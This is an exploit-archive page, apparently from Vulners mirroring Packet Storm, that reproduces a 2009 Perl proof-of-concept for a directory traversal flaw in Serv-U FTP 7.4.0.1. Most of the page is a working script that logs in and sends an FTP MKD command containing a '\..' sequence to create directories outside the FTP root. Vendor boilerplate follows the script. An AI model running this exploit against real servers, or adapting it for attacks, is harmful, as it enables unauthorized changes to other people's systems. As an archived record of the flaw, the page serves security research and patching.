Lucene search
K

Serv-U 7.4.0.1 Directory Traversal

🗓️ 16 Mar 2009 00:00:00Reported by Jonathan SalwanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Serv-U v7.4.0.1 Directory Traversal vulnerabilit

Code
`#!/usr/bin/perl  
# Soft : FTP Serv-U  
# Version : v7.4.0.1  
#  
# A vulnerability is caused due to an input validation error when handling FTP "MKD"   
# requests. This can be exploited to escape the FTP root and create arbitrary directory on   
# the system via directory traversal attacks using the "\.." character sequence.  
#  
#  
# Author: Jonathan Salwan  
# Mail: submit [AT] shell-storm.org  
# Web: http://www.shell-storm.org  
  
  
use IO::Socket;  
print "[+] Author : Jonathan Salwan \n";  
print "[+] Soft: FTP Serv-U\n";  
  
if (@ARGV < 4)  
{  
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";  
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";  
exit;  
}  
  
$ip = $ARGV[0];  
$port = $ARGV[1];  
$user = $ARGV[2];  
$pass = $ARGV[3];  
$dir = $ARGV[4];  
  
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";  
  
print "\n[+] Connecting: Ok!\n";  
print "[+] Sending request...\n";  
  
print $socket "USER $user\r\n";  
print $socket "PASS $pass\r\n";  
print $socket "MKD $dir\r\n";  
  
sleep(3);   
close($socket);  
  
print "[+]Done! directory $dir has been created\n";  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation